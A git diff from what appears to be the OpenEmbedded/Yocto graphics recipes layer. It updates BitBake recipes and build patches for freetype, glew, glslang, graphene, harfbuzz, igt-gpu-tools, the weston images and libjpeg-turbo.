--- /dev/null
+++ b/meta/recipes-graphics/freetype/freetype_2.13.2.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Freetype font rendering library"
+DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
+highly customizable, and portable while capable of producing high-quality output (glyph \
+images). It can be used in graphics libraries, display servers, font conversion tools, text \
+image generation tools, and many other products as well."
+HOMEPAGE = "http://www.freetype.org/"
+BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
+SECTION = "libs"
+
+LICENSE = "(FTL | GPL-2.0-or-later) & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=843b6efc16f6b1652ec97f89d5a516c0 \
+ file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
+ file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec \
+ "
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "12991c4e55c506dd7f9b765933e62fd2be2e06d421505d7950a132e4f1bb484d"
+
+UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
+
+inherit autotools pkgconfig multilib_header
+
+# Adapt autotools to work with the minimal autoconf usage in freetype
+AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
+CONFIGURE_SCRIPT = "${S}/configure"
+EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
+
+PACKAGECONFIG ??= "zlib pixmap"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
+# harfbuzz results in a circular dependency so enabling is non-trivial
+PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
+PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
+
+EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
+
+TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
+
+do_install:append() {
+ oe_multilib_header freetype2/freetype/config/ftconfig.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
new file mode 100644
index 0000000000..2418646689
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/0001-Fix-build-race-in-Makefile.patch
@@ -0,0 +1,56 @@
+Upstream-Status: Backport [767e0316450911f1158bd4f7fd8dcd066bae5c55]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 0ce0a85597db48a2fca619bd95e34af091e54ae8 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Thu, 22 Jul 2021 16:31:11 +0100
+Subject: [PATCH] Fix build race in Makefile
+
+The current rule for the binaries is:
+
+glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+
+In parallel builds, all of those targets happen at the same time. This
+means that 'bin' can happen *after* 'bin/$(GLEWINFO.BIN)', which is a
+problem as the 'bin' target's responsibility is to create the directory
+that the other target writes into.
+
+Solve this by not having a separate 'create directory' target which is
+fundamentally racy, and simply mkdir in each target which writes into it.
+---
+ Makefile | 9 ++++-----
+ 1 file changed, 4 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index d0e4614..04af44c 100644
+--- a/Makefile
++++ b/Makefile
+@@ -171,21 +171,20 @@ VISUALINFO.BIN.OBJ := $(VISUALINFO.BIN.OBJ:.c=.o)
+ # Don't build glewinfo or visualinfo for NaCL, yet.
+
+ ifneq ($(filter nacl%,$(SYSTEM)),)
+-glew.bin: glew.lib bin
++glew.bin: glew.lib
+ else
+-glew.bin: glew.lib bin bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
++glew.bin: glew.lib bin/$(GLEWINFO.BIN) bin/$(VISUALINFO.BIN)
+ endif
+
+-bin:
+- mkdir bin
+-
+ bin/$(GLEWINFO.BIN): $(GLEWINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(GLEWINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+ endif
+
+ bin/$(VISUALINFO.BIN): $(VISUALINFO.BIN.OBJ) $(LIB.SHARED.DIR)/$(LIB.SHARED)
++ @mkdir -p $(dir $@)
+ $(CC) $(CFLAGS) -o $@ $(VISUALINFO.BIN.OBJ) $(BIN.LIBS)
+ ifneq ($(STRIP),)
+ $(STRIP) -x $@
+--
+2.25.1
+
diff --git a/meta/recipes-graphics/glew/glew/no-strip.patch b/meta/recipes-graphics/glew/glew/no-strip.patch
index e411f11cb5..5708d93082 100644
--- a/meta/recipes-graphics/glew/glew/no-strip.patch
+++ b/meta/recipes-graphics/glew/glew/no-strip.patch
@@ -1,7 +1,7 @@
Don't forcibly strip the binaries.
Signed-off-by: Ross Burton <ross.burton@intel.com>
-Upstream-Status: Pending
+Upstream-Status: Backport [d7693eea09ac76c67f5f3aa538bb911ce2291e2c]
diff --git a/Makefile b/Makefile
index 6a9803c..170c0ce 100644
diff --git a/meta/recipes-graphics/glew/glew/notempdir.patch b/meta/recipes-graphics/glew/glew/notempdir.patch
new file mode 100644
index 0000000000..68b46b6641
--- /dev/null
+++ b/meta/recipes-graphics/glew/glew/notempdir.patch
@@ -0,0 +1,21 @@
+We don't use the dist-* targets and hence DIST_DIR isn't used. The current code
+creates a new temp directory in /tmp/ for every invocation of make. Lets
+not do that.
+
+https://github.com/nigels-com/glew/issues/334
+
+Upstream-Status: Pending [a revised version would be needed for upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: glew-2.2.0/Makefile
+===================================================================
+--- glew-2.2.0.orig/Makefile
++++ glew-2.2.0/Makefile
+@@ -56,7 +56,6 @@ DIST_SRC_ZIP ?= $(shell pwd)/$(DIST_NAME
+ DIST_SRC_TGZ ?= $(shell pwd)/$(DIST_NAME).tgz
+ DIST_WIN32 ?= $(shell pwd)/$(DIST_NAME)-win32.zip
+
+-DIST_DIR := $(shell mktemp -d /tmp/glew.XXXXXX)/$(DIST_NAME)
+
+ # To disable stripping of linked binaries either:
+ # - use STRIP= on gmake command-line
diff --git a/meta/recipes-graphics/glew/glew_2.2.0.bb b/meta/recipes-graphics/glew/glew_2.2.0.bb
index 8948444e08..d7a26a3438 100644
--- a/meta/recipes-graphics/glew/glew_2.2.0.bb
+++ b/meta/recipes-graphics/glew/glew_2.2.0.bb
@@ -6,6 +6,8 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2ac251558de685c6b9478d89be3149c2"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/glew/glew/${PV}/glew-${PV}.tgz \
+ file://0001-Fix-build-race-in-Makefile.patch \
+ file://notempdir.patch \
file://no-strip.patch"
SRC_URI[md5sum] = "3579164bccaef09e36c0af7f4fd5c7c7"
diff --git a/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
new file mode 100644
index 0000000000..e6bb6ec8e3
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang/0001-generate-glslang-pkg-config.patch
@@ -0,0 +1,46 @@
+From fc33f1cf032a15c07044ef932bc991c346d62d62 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sun, 7 Feb 2021 01:30:39 +0000
+Subject: [PATCH] generate glslang pkg-config
+
+Based on https://src.fedoraproject.org/rpms/glslang/blob/main/f/0001-pkg-config-compatibility.patch
+
+Upstream-Status: Pending
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ glslang/CMakeLists.txt | 2 ++
+ glslang/glslang.pc.cmake.in | 11 +++++++++++
+ 2 files changed, 13 insertions(+)
+ create mode 100644 glslang/glslang.pc.cmake.in
+
+diff --git a/glslang/CMakeLists.txt b/glslang/CMakeLists.txt
+index e4690f09..8e660bc5 100644
+--- a/glslang/CMakeLists.txt
++++ b/glslang/CMakeLists.txt
+@@ -233,6 +233,8 @@ if(GLSLANG_ENABLE_INSTALL)
+ install(TARGETS MachineIndependent EXPORT glslang-targets)
+ install(TARGETS GenericCodeGen EXPORT glslang-targets)
+ endif()
++ configure_file(${CMAKE_CURRENT_SOURCE_DIR}/glslang.pc.cmake.in ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc @ONLY)
++ install(FILES ${CMAKE_CURRENT_BINARY_DIR}/pkgconfig/glslang.pc DESTINATION ${CMAKE_INSTALL_LIBDIR}/pkgconfig)
+
+ set(PUBLIC_HEADERS
+ Public/ResourceLimits.h
+diff --git a/glslang/glslang.pc.cmake.in b/glslang/glslang.pc.cmake.in
+new file mode 100644
+index 00000000..43104e68
+--- /dev/null
++++ b/glslang/glslang.pc.cmake.in
+@@ -0,0 +1,11 @@
++prefix=@CMAKE_INSTALL_PREFIX@
++exec_prefix=@CMAKE_INSTALL_PREFIX@
++libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@
++includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@
++
++Name: @PROJECT_NAME@
++Description: OpenGL and OpenGL ES shader front end and validator
++Requires:
++Version: @GLSLANG_VERSION@
++Libs: -L${libdir} -lglslang -lHLSL -lSPVRemapper
++Cflags: -I${includedir}
diff --git a/meta/recipes-graphics/glslang/glslang_1.3.280.0.bb b/meta/recipes-graphics/glslang/glslang_1.3.280.0.bb
new file mode 100644
index 0000000000..637082c719
--- /dev/null
+++ b/meta/recipes-graphics/glslang/glslang_1.3.280.0.bb
@@ -0,0 +1,37 @@
+SUMMARY = "OpenGL / OpenGL ES Reference Compiler"
+DESCRIPTION = "Glslang is the official reference compiler front end for the \
+OpenGL ES and OpenGL shading languages. It implements a strict interpretation \
+of the specifications for these languages. It is open and free for anyone to use, \
+either from a command line or programmatically."
+SECTION = "graphics"
+HOMEPAGE = "https://www.khronos.org/opengles/sdk/tools/Reference-Compiler"
+LICENSE = "BSD-3-Clause & BSD-2-Clause & MIT & Apache-2.0 & GPL-3-with-bison-exception"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2a2b5acd7bc4844964cfda45fe807dc3"
+
+SRCREV = "ee2f5d09eaf8f4e8d0d598bd2172fce290d4ca60"
+SRC_URI = "git://github.com/KhronosGroup/glslang.git;protocol=https;branch=main \
+ file://0001-generate-glslang-pkg-config.patch \
+ "
+PE = "1"
+# These recipes need to be updated in lockstep with each other:
+# glslang, vulkan-headers, vulkan-loader, vulkan-tools, spirv-headers, spirv-tools
+# vulkan-validation-layers, vulkan-utility-libraries.
+# The tags versions should always be sdk-x.y.z, as this is what
+# upstream considers a release.
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
+S = "${WORKDIR}/git"
+
+inherit cmake python3native
+
+DEPENDS = "spirv-tools"
+
+EXTRA_OECMAKE = " \
+ -DCMAKE_BUILD_TYPE=Release \
+ -DBUILD_SHARED_LIBS=ON \
+ -DENABLE_PCH=OFF \
+ -DENABLE_CTEST=OFF \
+ -DBUILD_EXTERNAL=OFF \
+ -DALLOW_EXTERNAL_SPIRV_TOOLS=ON \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/graphene/files/float-div.patch b/meta/recipes-graphics/graphene/files/float-div.patch
new file mode 100644
index 0000000000..bf74101b1c
--- /dev/null
+++ b/meta/recipes-graphics/graphene/files/float-div.patch
@@ -0,0 +1,28 @@
+From c19d1f4a7e44e071df3a2612ae2eb20c84e831a6 Mon Sep 17 00:00:00 2001
+From: Emmanuele Bassi <ebassi@gnome.org>
+Date: Thu, 10 Aug 2023 12:44:49 +0100
+Subject: [PATCH] build: Allow host builds when cross-compiling
+
+Environments that set up execution wrappers when cross-compiling should
+be allowed to run code. We only fall back on external properties if we
+really can't run any native code on the host machine.
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/meson.build b/meson.build
+index 48f22d7..7dcb9e6 100644
+--- a/meson.build
++++ b/meson.build
+@@ -270,7 +270,7 @@ int main() {
+ return 0;
+ }
+ '''
+-if meson.is_cross_build()
++if not meson.can_run_host_binaries()
+ ieee754_float_div = meson.get_external_property('ieee754_float_div', cc.get_id() in ['gcc', 'clang'])
+ message('Cross-building, assuming IEEE 754 division:', ieee754_float_div)
+ else
diff --git a/meta/recipes-graphics/graphene/graphene_1.10.8.bb b/meta/recipes-graphics/graphene/graphene_1.10.8.bb
new file mode 100644
index 0000000000..e2e82b32aa
--- /dev/null
+++ b/meta/recipes-graphics/graphene/graphene_1.10.8.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A thin layer of graphic data types"
+HOMEPAGE = "http://ebassi.github.io/graphene/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=a7d871d9e23c450c421a85bb2819f648"
+
+
+inherit gnomebase gobject-introspection gtk-doc
+
+SRC_URI += "file://float-div.patch"
+
+SRC_URI[archive.sha256sum] = "a37bb0e78a419dcbeaa9c7027bcff52f5ec2367c25ec859da31dfde2928f279a"
+
+# Disable neon support by default on ARM-32 platforms because of the
+# following upstream bug: https://github.com/ebassi/graphene/issues/215
+PACKAGECONFIG ?= "gobject-types ${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'neon', '', d)}"
+
+PACKAGECONFIG[gobject-types] = "-Dgobject_types=true,-Dgobject_types=false,glib-2.0"
+PACKAGECONFIG[neon] = "-Darm_neon=true,-Darm_neon=false,"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+EXTRA_OEMESON = "-Dinstalled_tests=false"
+
+FILES:${PN} += "${libdir}/graphene-1.0"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.8.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.8.bb
deleted file mode 100644
index 3c4a5b5a2b..0000000000
--- a/meta/recipes-graphics/harfbuzz/harfbuzz_2.6.8.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Text shaping library"
-DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8f787620b7d3866d9552fd1924c07572 \
- file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "harfbuzz-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "c8d4f2aeed6e576bd42f9dc6def1b1ae"
-SRC_URI[sha256sum] = "6648a571a27f186e47094121f0095e1b809e918b3037c630c7f38ffad86e3035"
-
-inherit autotools pkgconfig lib_package gtk-doc
-
-PACKAGECONFIG ??= "cairo fontconfig freetype glib icu"
-PACKAGECONFIG[cairo] = "--with-cairo,--without-cairo,cairo"
-PACKAGECONFIG[fontconfig] = "--with-fontconfig,--without-fontconfig,fontconfig"
-PACKAGECONFIG[freetype] = "--with-freetype,--without-freetype,freetype"
-PACKAGECONFIG[glib] = "--with-glib,--without-glib,glib-2.0"
-PACKAGECONFIG[graphite] = "--with-graphite2,--without-graphite2,graphite2"
-PACKAGECONFIG[icu] = "--with-icu,--without-icu,icu"
-
-PACKAGES =+ "${PN}-icu ${PN}-icu-dev ${PN}-subset"
-
-LEAD_SONAME = "libharfbuzz.so"
-
-do_install_append() {
- # If no tools are installed due to PACKAGECONFIG then this directory is
- #still installed, so remove it to stop packaging wanings.
- rmdir --ignore-fail-on-non-empty ${D}${bindir}
-}
-
-FILES_${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
-FILES_${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
- ${libdir}/libharfbuzz-icu.so \
- ${libdir}/pkgconfig/harfbuzz-icu.pc \
-"
-FILES_${PN}-subset = "${libdir}/libharfbuzz-subset.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.1.bb b/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.1.bb
new file mode 100644
index 0000000000..fd4dcc2338
--- /dev/null
+++ b/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.1.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Text shaping library"
+DESCRIPTION = "HarfBuzz is an OpenType text shaping engine."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/HarfBuzz"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=HarfBuzz"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b98429b8e8e3c2a67cfef01e99e4893d \
+ file://src/hb-ucd.cc;beginline=1;endline=15;md5=29d4dcb6410429195df67efe3382d8bc \
+ "
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "f73e1eacd7e2ffae687bc3f056bb0c705b7a05aee86337686e09da8fc1c2030c"
+
+DEPENDS += "glib-2.0-native"
+
+inherit meson pkgconfig lib_package gtk-doc gobject-introspection github-releases
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_ENABLE_FLAG = 'enabled'
+GTKDOC_MESON_DISABLE_FLAG = 'disabled'
+
+PACKAGECONFIG ??= "cairo freetype glib icu"
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+PACKAGECONFIG[chafa] = "-Dchafa=enabled,-Dchafa=disabled,chafa"
+PACKAGECONFIG[freetype] = "-Dfreetype=enabled,-Dfreetype=disabled,freetype"
+PACKAGECONFIG[glib] = "-Dglib=enabled,-Dglib=disabled,glib-2.0"
+PACKAGECONFIG[graphite] = "-Dgraphite2=enabled,-Dgraphite2=disabled,graphite2"
+PACKAGECONFIG[icu] = "-Dicu=enabled,-Dicu=disabled,icu"
+
+PACKAGES =+ "${PN}-icu ${PN}-icu-dev ${PN}-subset"
+
+LEAD_SONAME = "libharfbuzz.so"
+
+do_install:append() {
+ # If no tools are installed due to PACKAGECONFIG then this directory might
+ # still be installed, so remove it to stop packaging warnings.
+ [ ! -d ${D}${bindir} ] || rmdir --ignore-fail-on-non-empty ${D}${bindir}
+}
+
+FILES:${PN}-icu = "${libdir}/libharfbuzz-icu.so.*"
+FILES:${PN}-icu-dev = "${libdir}/libharfbuzz-icu.la \
+ ${libdir}/libharfbuzz-icu.so \
+ ${libdir}/pkgconfig/harfbuzz-icu.pc \
+"
+FILES:${PN}-subset = "${libdir}/libharfbuzz-subset.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
index 89480d79d2..90cd09ea70 100644
--- a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
+++ b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
@@ -1,30 +1,32 @@
SUMMARY = "IGT GPU Tools"
DESCRIPTION = "IGT GPU Tools is a collection of tools for development and testing of the DRM drivers"
+HOMEPAGE = "https://gitlab.freedesktop.org/drm/igt-gpu-tools"
+BUGTRACKER = "https://gitlab.freedesktop.org/drm/igt-gpu-tools/-/issues"
LIC_FILES_CHKSUM = "file://COPYING;md5=67bfee4df38fa6ecbe3a675c552d4c08"
LICENSE = "MIT"
-inherit meson
+inherit meson pkgconfig
-SRCREV = "d16ad07e7f2a028e14d61f570931c87fa5ce404c"
-PV = "1.25+git${SRCPV}"
+SRCREV = "31ec677ca24e7ed86e35f367f40a29d3d9f51c06"
+PV = "1.28"
-SRC_URI = "git://gitlab.freedesktop.org/drm/igt-gpu-tools.git;protocol=https"
+SRC_URI = "git://gitlab.freedesktop.org/drm/igt-gpu-tools.git;protocol=https;branch=master"
S = "${WORKDIR}/git"
DEPENDS += "libdrm libpciaccess cairo udev glib-2.0 procps libunwind kmod openssl elfutils alsa-lib json-c bison-native"
-RDEPENDS_${PN} += "bash"
-RDEPENDS_${PN}-tests += "bash"
+RDEPENDS:${PN} += "bash perl"
+RDEPENDS:${PN}-tests += "bash"
PACKAGE_BEFORE_PN = "${PN}-benchmarks ${PN}-tests"
PACKAGECONFIG[chamelium] = "-Dchamelium=enabled,-Dchamelium=disabled,gsl xmlrpc-c"
-EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled"
+EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled -Dsrcdir=${TARGET_DBGSRC_DIR}/git/ -Dversion_hash=${PV}"
COMPATIBLE_HOST = "(x86_64.*|i.86.*|arm.*|aarch64).*-linux"
-COMPATIBLE_HOST_libc-musl_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
gputools_sysroot_preprocess() {
@@ -32,7 +34,7 @@ gputools_sysroot_preprocess() {
}
SYSROOT_PREPROCESS_FUNCS += "gputools_sysroot_preprocess"
-do_install_append() {
+do_install:append() {
install -d ${D}/usr/share/${BPN}/scripts
install ${S}/scripts/run-tests.sh ${D}/usr/share/${BPN}/scripts
install -d ${D}/usr/share/${BPN}/runner
@@ -40,8 +42,8 @@ do_install_append() {
install -D ${B}/runner/igt_resume ${D}/usr/share/${BPN}/runner
}
-FILES_${PN}-benchmarks += "${libexecdir}/${BPN}/benchmarks"
-FILES_${PN}-tests += "\
+FILES:${PN}-benchmarks += "${libexecdir}/${BPN}/benchmarks"
+FILES:${PN}-tests += "\
${libexecdir}/${BPN}/*\
${datadir}/${BPN}/1080p-right.png\
${datadir}/${BPN}/1080p-left.png\
diff --git a/meta/recipes-graphics/images/core-image-clutter.bb b/meta/recipes-graphics/images/core-image-clutter.bb
deleted file mode 100644
index a594461022..0000000000
--- a/meta/recipes-graphics/images/core-image-clutter.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-DESCRIPTION = "An image with support for the Open GL-based toolkit Clutter, \
-which enables development of rich and animated graphical user interfaces."
-
-IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear"
-
-LICENSE = "MIT"
-
-IMAGE_INSTALL = "\
- ${CORE_IMAGE_BASE_INSTALL} \
- packagegroup-core-clutter-core \
- "
-
-inherit core-image
-
-QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
diff --git a/meta/recipes-graphics/images/core-image-weston-sdk.bb b/meta/recipes-graphics/images/core-image-weston-sdk.bb
new file mode 100644
index 0000000000..09e87b5b65
--- /dev/null
+++ b/meta/recipes-graphics/images/core-image-weston-sdk.bb
@@ -0,0 +1,15 @@
+require core-image-weston.bb
+
+DESCRIPTION = "Image with Weston support that includes everything within \
+core-image-weston plus meta-toolchain, development headers and libraries to \
+form a standalone SDK."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+IMAGE_FEATURES += "dev-pkgs tools-sdk \
+ tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
+
+IMAGE_INSTALL += "kernel-devsrc"
+
+# Compiling stuff, specifically SystemTap probes, can require lots of memory
+# See https://bugzilla.yoctoproject.org/show_bug.cgi?id=14673
+QB_MEM = "-m 768"
diff --git a/meta/recipes-graphics/images/core-image-weston.bb b/meta/recipes-graphics/images/core-image-weston.bb
index f5102e1989..62305cc1ce 100644
--- a/meta/recipes-graphics/images/core-image-weston.bb
+++ b/meta/recipes-graphics/images/core-image-weston.bb
@@ -1,12 +1,12 @@
SUMMARY = "A very basic Wayland image with a terminal"
-IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs"
+IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs weston"
LICENSE = "MIT"
-inherit core-image features_check
+inherit core-image
-REQUIRED_DISTRO_FEATURES = "wayland"
-
-CORE_IMAGE_BASE_INSTALL += "weston weston-init weston-examples gtk+3-demo clutter-1.0-examples"
+CORE_IMAGE_BASE_INSTALL += "gtk+3-demo"
CORE_IMAGE_BASE_INSTALL += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'weston-xwayland matchbox-terminal', '', d)}"
+
+QB_MEM = "-m 512"
diff --git a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch b/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
deleted file mode 100644
index 82fffe1e68..0000000000
--- a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 5cf847b5bef8dc3f9f89bd09dd5af4e6603f393c Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Mon, 27 Aug 2018 16:10:55 +0800
-Subject: [PATCH] libjpeg-turbo: fix package_qa error
-
-Fix package qa errors like below:
-libjpeg.so.62.3.0 contains probably-redundant RPATH /usr/lib [useless-rpaths]
-usr/bin/cjpeg contains probably-redundant RPATH /usr/lib
-
-Upstream-Status: Inappropriate[oe-specific]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- CMakeLists.txt | 4 ----
- 1 file changed, 4 deletions(-)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 2bc3458..ea3041e 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -189,10 +189,6 @@ endif()
- report_option(ENABLE_SHARED "Shared libraries")
- report_option(ENABLE_STATIC "Static libraries")
-
--if(ENABLE_SHARED)
-- set(CMAKE_INSTALL_RPATH ${CMAKE_INSTALL_FULL_LIBDIR})
--endif()
--
- if(WITH_12BIT)
- set(WITH_ARITH_DEC 0)
- set(WITH_ARITH_ENC 0)
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb
deleted file mode 100644
index 9729fb5dd5..0000000000
--- a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.5.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "Hardware accelerated JPEG compression/decompression library"
-DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
-HOMEPAGE = "http://libjpeg-turbo.org/"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://cdjpeg.h;endline=13;md5=8184bcc7c4ac7b9edc6a7bc00f231d0b \
- file://jpeglib.h;endline=16;md5=7ea97dc83b0f59052ee837e61ef0e08f \
- file://djpeg.c;endline=11;md5=c59e19811c006cb38f82d6477134d314 \
-"
-DEPENDS_append_x86-64_class-target = " nasm-native"
-DEPENDS_append_x86_class-target = " nasm-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz \
- file://0001-libjpeg-turbo-fix-package_qa-error.patch \
- "
-
-SRC_URI[md5sum] = "3a7dc293918775fc933f81e2bce36464"
-SRC_URI[sha256sum] = "16f8f6f2715b3a38ab562a84357c793dd56ae9899ce130563c72cd93d8357b5d"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
-UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
-
-PE = "1"
-
-# Drop-in replacement for jpeg
-PROVIDES = "jpeg"
-RPROVIDES_${PN} += "jpeg"
-RREPLACES_${PN} += "jpeg"
-RCONFLICTS_${PN} += "jpeg"
-
-inherit cmake pkgconfig
-
-export NASMENV = "--debug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
-
-# Add nasm-native dependency consistently for all build arches is hard
-EXTRA_OECMAKE_append_class-native = " -DWITH_SIMD=False"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_SIMD=False"
-
-# Work around missing x32 ABI support
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
-
-# Work around missing non-floating point ABI support in MIPS
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
-
-# Provide a workaround if Altivec unit is not present in PPC
-EXTRA_OECMAKE_append_class-target_powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
-EXTRA_OECMAKE_append_class-target_powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
